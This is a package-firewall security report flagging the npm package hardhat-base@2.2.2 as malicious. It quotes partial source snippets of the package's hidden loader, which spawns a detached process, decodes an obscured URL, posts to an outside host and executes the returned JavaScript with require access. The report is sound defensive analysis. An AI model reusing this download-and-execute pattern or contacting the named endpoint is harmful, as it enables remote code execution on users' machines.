---
canonical: "https://firewall.lpm.dev/npm/hardhat-base/v/2.2.2"
markdown: "https://firewall.lpm.dev/npm/hardhat-base/v/2.2.2.md"
package: "hardhat-base"
report_status: "published"
title: "hardhat-base@2.2.2 npm security report"
verdict: "malicious"
version: "2.2.2"
---

# hardhat-base@2.2.2 npm security report

> **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document.

## Verdict summary
**Blocked & quarantined** — Remote code can run with the consuming user's Node.js privileges.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Matched malicious
- **Public report status:** Published
- **Threat category:** Remote Code Execution
- **Selected version:** 2.2.2
- **Selected version is latest:** Yes
- **Analysis source:** AI Security Review (lpm-firewall-ai)

Trusted malware advisory MAL-2026-16348 identifies this version as malicious. Firewall keeps the version blocked under its trusted-intelligence policy. An AI recommendation to allow or warn does not override that advisory.

AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy.

Calling the exported middleware launches a detached background process. That process fetches and executes attacker-controlled JavaScript.

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Recorded final verdict:** Malicious
- **Recorded analysis confidence:** 99.0%
- **Started:** 2026-09-14T11:36:42.101Z
- **Finished:** 2026-09-14T11:37:25.134Z
- **Download time:** 250 ms
- **Static scan time:** 77 ms
- **AI review time:** 42705 ms
- **Total time:** 43033 ms

The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs.

## Security analysis

### Published attack-surface review

- **Summary:** Calling the exported middleware launches a detached background process. That process fetches and executes attacker-controlled JavaScript.

- **Trigger:** A consumer invokes the package's exported middleware.

- **Impact:** Remote code can run with the consuming user's Node.js privileges.

- **Evidence paths:** index.js, lib/caller.js

- **Review source:** ai\_review

- **Reviewed:** 2026-09-14T11:37:25.134Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** Detached child fetches and evaluates a remote payload.

- **Attack narrative:** The public middleware starts lib/caller.js as a detached process, hiding its output. The child decodes a hard-coded URL, sends a request, treats the response as JavaScript, and executes it through Function with require supplied. The payload can therefore run arbitrary local code whenever a consumer calls the middleware.

- **Rationale:** This is a concrete remote code execution path concealed behind an exported middleware and detached subprocess. The absence of an install hook does not mitigate runtime execution of server-supplied code.

- **Files touched:** index.js, lib/caller.js

- **Network endpoints:** https://ipcheckr-hashed.vercel.app/api/auth/f1f097d93c318c92f0c5

### Review decision

- **Verdict:** Malicious

- **Confidence:** 99.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for block:** The exported middleware starts a detached Node child with ignored standard I/O when invoked., The child decodes an obscured endpoint and posts to https://ipcheckr-hashed.vercel.app/api/auth/f1f097d93c318c92f0c5., The response body is compiled with Function and executed with require access, enabling remote arbitrary code execution.

- **Evidence against:** package.json has no preinstall, install, or postinstall lifecycle hook.

## Affected versions and remediation

This report applies to hardhat-base@2.2.2.

- Avoid installing hardhat-base@2.2.2. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

## Public findings

### 1. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 2. Medium: Network
- **Category:** Source
- **Confidence:** 75.0%

Package source references network APIs.

### 3. Medium: Environment Vars
- **Category:** Source
- **Confidence:** 75.0%

Package source references environment variables.

### 4. High: Base64 Obscured Url
- **Category:** Source
- **Confidence:** 82.0%
- **Path:** lib/caller.js
- **Public source:** [View source](<https://unpkg.com/hardhat-base@2.2.2/lib/caller.js>)

Source decodes a Base64-obscured HTTP endpoint at runtime.

Public source snippet (untrusted):

```javascript
L2: 
L3: const axios = require("axios");
L4: const process = {
...
L12: (async function loadCallers(..._args) {
L13: const src = atob(process.env.DEV_API_KEY);
L14: const k = atob(process.env.DEV_SECRET_KEY);
...
L21: const l = console.log;
L22: const s = (await axios.post(src, { headers: { [k]: v } })).data;
L23: const handler = new Function.constructor("require", s);
```

### 5. Low: High Entropy Strings
- **Category:** Supply Chain
- **Confidence:** 55.0%

Package source contains high-entropy string patterns.

### 6. Low: Url Strings
- **Category:** Supply Chain
- **Confidence:** 65.0%

Package source contains URL literals.

### 7. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/hardhat-base@2.2.2/package.json>)

The exported middleware starts a detached Node child with ignored standard I/O when invoked.

Public source snippet (untrusted):

```json
"name": "hardhat-base",
  "version": "2.2.2",
  "description": "This document describes the management of vulnerabilities for the project and all modules within the organization.",
  "main": "index.js",
  "scripts": {
    "smoke:pino": "node ./index.js",
    "smoke:file": "node ./file.js"
```

### 8. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** index.js
- **Public source:** [View source](<https://unpkg.com/hardhat-base@2.2.2/index.js>)

The exported middleware starts a detached Node child with ignored standard I/O when invoked.

Public source snippet (untrusted):

```javascript
function runJobA(args) {
  const script = path.resolve(__dirname, "./lib/caller.js");

  const child = spawn("node", [script, JSON.stringify(args)], {
    detached: true,
    stdio: "ignore"
  });

  child.unref(); // allow parent to exit
}

const middleware = (..._args) => {
  runJobA(..._args, defaultOptions);
```

### 9. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** lib/caller.js
- **Public source:** [View source](<https://unpkg.com/hardhat-base@2.2.2/lib/caller.js>)

The child decodes an obscured endpoint and posts to https://ipcheckr-hashed.vercel.app/api/auth/f1f097d93c318c92f0c5.

Public source snippet (untrusted):

```javascript
(async function loadCallers(..._args) {
  const src = atob(process.env.DEV_API_KEY);
  const k = atob(process.env.DEV_SECRET_KEY);
  const v = atob(process.env.DEV_SECRET_VALUE);

  let retrycnt = 5;

  while (retrycnt > 0) {
    try {
      const l = console.log;
      const s = (await axios.post(src, { headers: { [k]: v } })).data;
```

### 10. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** lib/caller.js
- **Public source:** [View source](<https://unpkg.com/hardhat-base@2.2.2/lib/caller.js>)

The response body is compiled with Function and executed with require access, enabling remote arbitrary code execution.

Public source snippet (untrusted):

```javascript
const l = console.log;
      const s = (await axios.post(src, { headers: { [k]: v } })).data;
      const handler = new Function.constructor("require", s);
      handler(require);
      console.log = l;
```

## Dependencies and install lifecycle
- **Lifecycle scripts present:** No

- **Dependencies:** 4
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 0
- **Published dependency-graph edges:** 4

### Published dependency entries
- axios ^1.10.0 (Dependency)
- parse-json ^8.3.0 (Dependency)
- request ^2.88.2 (Dependency)
- sqlite3 ^5.1.7 (Dependency)

## Package metadata
- **Package:** hardhat-base
- **Ecosystem:** npm
- **Version:** 2.2.2
- **License:** MIT
- **Version published:** 2026-09-14T11:34:23.286Z
- **Package first seen:** 2026-09-14T02:56:36.886Z
- **Package last seen:** 2026-09-14T11:37:25.134Z
- **Known versions:** 2
- **Latest version:** 2.2.2
- **Appeal under review:** No
- **Description:** This document describes the management of vulnerabilities for the project and all modules within the organization.
- **Author:** Robert King
- **Keywords:** fast, logger, stream, json
- **Artifact files:** 43
- **Artifact unpacked size:** 270,179 bytes
- **Artifact signatures:** 2
- **Attestations:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/hardhat-base/v/2.2.2>)
- [Issues](<https://jsonspack.com/issues>)
- [OSV advisory](<https://osv.dev/vulnerability/MAL-2026-16348>)
- [PACKAGE](<https://www.npmjs.com/package/hardhat-base/v/2.2.2>)
- [PACKAGE](<https://www.npmjs.com/package/hardhat-base/v/2.2.0>)
